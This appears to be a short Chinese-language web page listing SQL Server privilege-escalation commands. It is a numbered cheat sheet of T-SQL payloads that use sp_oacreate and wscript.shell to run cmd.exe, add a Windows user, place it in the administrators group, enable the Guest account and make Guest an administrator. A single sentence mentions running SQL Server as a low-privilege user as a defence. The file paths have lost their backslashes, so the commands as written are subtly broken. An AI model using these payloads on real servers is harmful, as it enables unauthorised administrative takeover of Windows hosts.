SQL 提權(quán) 常用命令

SQL 提權(quán) 常用命令,大家可以考慮下將sqlserver的服務(wù)運(yùn)行權(quán)限設(shè)置為普通用戶,即可防止下面的提權(quán)。

1、連接數(shù)據(jù)庫
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net user 新用戶 密碼 /add’
3、把用戶加到管理組
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net localgroup administrators 新用戶 /add’
4、激活GUEST用戶
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net user guest /active:yes’
5、把Guest加到管理組
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net localgroup Administrators Guest /add’
關(guān)于防范方法,可以參考腳本之家服務(wù)器欄目。

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點(diǎn)贊5 分享